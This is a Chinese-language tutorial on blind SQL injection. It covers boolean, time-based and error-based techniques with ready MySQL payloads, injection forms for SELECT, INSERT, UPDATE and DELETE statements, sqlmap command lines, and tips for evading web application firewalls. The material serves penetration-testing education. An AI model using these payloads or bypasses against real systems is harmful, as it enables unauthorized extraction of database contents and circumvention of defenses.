盲注核心:当数据不再“回显”
核心定义:盲注指攻击者无法从页面直接看到SQL查询结果(无回显),必须通过观察页面的间接反馈(如逻辑状态、响应时间、错误信息)来推断数据。

🔍 三大盲注技术实战详解
下表对比了三种盲注技术的核心原理与适用场景,帮助你快速决策:
|
注入类型 |
核心原理 |
适用场景 |
关键判断依据 |
|
布尔盲注 |
构造True/False的查询条件,根据页面内容差异(如图片、文字、布局的细微变化)来判断。 |
页面响应内容会随查询条件真假发生可预测的规律性变化。 |
页面是否存在某个固定关键词(如“成功”、“存在”)、内容长度是否恒定。 |
|
时间盲注 |
构造条件,通过SLEEP()等函数人为制造延迟,根据响应时间长短判断条件真伪。 |
无论参数如何变化,页面外观毫无变化,且无明确报错信息。是最后的通用手段。 |
响应时间是否显著增加(需排除网络波动)。 |
|
报错盲注 |
故意触发SQL语法或逻辑错误,使数据库将敏感信息拼接在错误信息中返回。 |
网站开启了数据库错误回显(将错误信息打印到页面)。效率通常远高于前两种。 |
页面是否会返回详细的数据库错误信息。 |
⚙️ 各类型盲注Payload构造与实战技巧
1. 布尔盲注:像侦探一样寻找“信号”
- 核心思路:将数据提取问题转化为一系列真/假判断。
- 常用Payload与函数:
— 判断数据库名长度
and length(database())=8
— 逐字符猜解数据库名第一个字符是否为'p'(ascii值为112)
and ascii(substr(database(),1,1))=112
— 使用left或regexp进行匹配判断
and left(database(),1)='p'
and database() regexp '^p'
- 实战技巧:
-
- 寻找“信号”:先提交and 1=1和and 1=2,对比页面异同(如标题、某段话、空白区域)。
- 自动化推荐:Burp Suite的 Intruder 攻击模式非常适合布尔盲注,通过Grep Match功能标记关键词,批量判断结果。
2. 时间盲注:用“秒表”丈量真相
- 核心思路:“如果条件为真,就让我等一会儿。”
- 常用Payload:
— 基础延时判断
and sleep(5)
— 带条件的延时(如果当前用户第一个字母是'a',则休眠5秒)
and if(ascii(substr(user(),1,1))=97, sleep(5), 0)
- 实战技巧:
-
- 基准时间:先测一个正常请求的响应时间作为基准。
- 网络影响:时间盲注受网络波动影响大,设置延时阈值(如2秒)要合理。
- 案例关联:在**《记一次对钓鱼网站的XFF头注入》**中,攻击者正是通过X-Forwarded-For: ' and (select 1 from(select(sleep(2)))x)# 确认了时间盲注漏洞。
3. 报错盲注:让数据库自己“说出”秘密
- 核心思路:利用数据库函数执行错误,并将查询结果作为错误信息的一部分返回。
- 常用Payload(以MySQL为例):
— 利用updatexml函数,路径包含非法字符(~)从而报错,并执行子查询
and updatexml(1, concat(0x7e, (select user()), 0x7e), 1)
— 利用extractvalue函数,原理类似
and extractvalue(1, concat(0x5c, (select version())))
— 利用floor+rand+group_by产生重复键错误 (需要特定条件)
and (select 1 from (select count(*), concat(user(), floor(rand(0)*2)) x from information_schema.tables group by x) a)
- 实战技巧:
-
- 效率之王:报错注入能直接回显数据,无需逐位猜解,是首选。
- 长度限制:updatexml和extractvalue的报错回显长度通常限制在32个字符左右,需用substr分段截取。
- 案例关联:在**《记一次前端加解密到sql注入过waf的实战》**中,攻击者最终成功利用rlike配合报错注入updatexml获取了数据,并绕过了WAF。
🧩 盲注在“增删改查”中的具体应用
理解功能点对应的SQL语句,有助于构造不破坏原语句语法的Payload。
|
操作类型 |
注入点位置 |
盲注Payload构造思路(需闭合原语句) |
说明 |
|
SELECT (查询) |
WHERE 条件后 |
?id=1' and sleep(5)– |
最常见,直接拼接条件。 |
|
INSERT (增加) |
VALUES 值内部 |
username='x' or updatexml(1,concat(0x7e,version()),0) or ' |
需用'闭合前后值,并用or等连接确保原插入语法仍有效。你的笔记案例x' or … #正是此类。 |
|
UPDATE (修改) |
SET 值或 WHERE条件 |
username='x' or sleep(5) where id=1– |
可注入在修改值处,或利用WHERE条件。 |
|
DELETE (删除) |
WHERE 条件后 |
?id=1 or if(ascii(substr(user(),1,1))=97, sleep(5),0) |
危险性高,测试时务必谨慎,最好在授权环境进行。 |
🔧 渗透测试实战流程与决策树
面对一个疑似注入点,可以遵循以下流程:
-
- 尝试 ' " ) 等字符,观察是否有直接报错。
- 提交 and 1=1 / and 1=2,观察页面内容或状态码是否有规律变化。
- 提交 ' and sleep(3)–,用Burp或浏览器开发者工具网络面板观察响应时间。
-
- 有直接报错信息 → 优先尝试报错注入。
- 无报错,但页面内容随条件真假变化 → 使用布尔盲注。
- 页面始终无任何内容变化,也无报错 → 使用时间盲注。
-
- 布尔/时间盲注:强烈推荐使用 sqlmap。
# 基础检测
sqlmap -u "http://target.com/page?id=1" –batch
# 指定使用时间盲注技术
sqlmap -u "http://target.com/page?id=1" –technique=T –batch
# 从Burp请求文件读取,并指定level和risk
sqlmap -r request.txt –level=3 –risk=2 –batch
-
- 报错注入:sqlmap同样支持(–technique=E),但有时手动构造Payload更灵活。
-
- 无论哪种盲注,最终目标都是系统化地提取信息:当前用户 → 数据库名 → 表名 → 列名 → 具体数据。
- 编写脚本或利用工具,将猜解过程自动化(如二分法加速猜解字符)。
💡 关键技巧与注意事项
- 善用数据库内置视图:information_schema(MySQL)、pg_catalog(PostgreSQL)是获取元数据的核心。
- 注意闭合与注释:确保你的Payload能无缝嵌入原SQL语句且不破坏语法,正确使用 –、#、/* */ 进行注释。
- 提防WAF/过滤:对于布尔/时间盲注,WAF可能拦截 sleep, benchmark 等函数。可尝试大小写混淆、内联注释、等价函数替换(如用pg_sleep代替sleep)等方式绕过。

